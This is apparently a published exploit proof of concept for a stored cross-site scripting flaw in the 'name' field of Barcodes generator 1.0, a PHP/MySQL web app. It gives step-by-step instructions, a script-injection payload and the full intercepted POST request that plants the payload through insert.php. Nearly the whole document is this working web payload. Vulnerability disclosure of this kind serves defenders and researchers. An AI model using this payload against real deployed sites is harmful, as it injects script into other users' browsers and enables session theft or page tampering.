# Exploit Title: Barcodes generator 1.0 - 'name' Stored Cross Site Scripting # Date: 10/12/2020 # Exploit Author: Nikhil Kumar # Vendor Homepage: http://egavilanmedia.com/ # Software Link: http://egavilanmedia.com/barcodes-generator-using-php-mysql-and-jsbarcode-library/ # Version: 1.0 # Tested On: Ubuntu 1. Open the index.php page using following url http://localhost/Barcodes-Generator-Using-PHP-MySQL-and-JsBarcode/index.php click on the New Barcode 2. Intercept the request through burp suite Put a payload on "name=" parameter Payload :- abc"><script>alert("XSS")</script> Malicious Request:: POST /Barcodes-Generator-Using-PHP-MySQL-and-JsBarcode/php/insert.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 6 Origin: http://localhost DNT: 1 Connection: close Referer: http://localhost/Barcodes-Generator-Using-PHP-MySQL-and-JsBarcode/index.php Upgrade-Insecure-Requests: 1 name=abc"><script>alert("XSS")</script>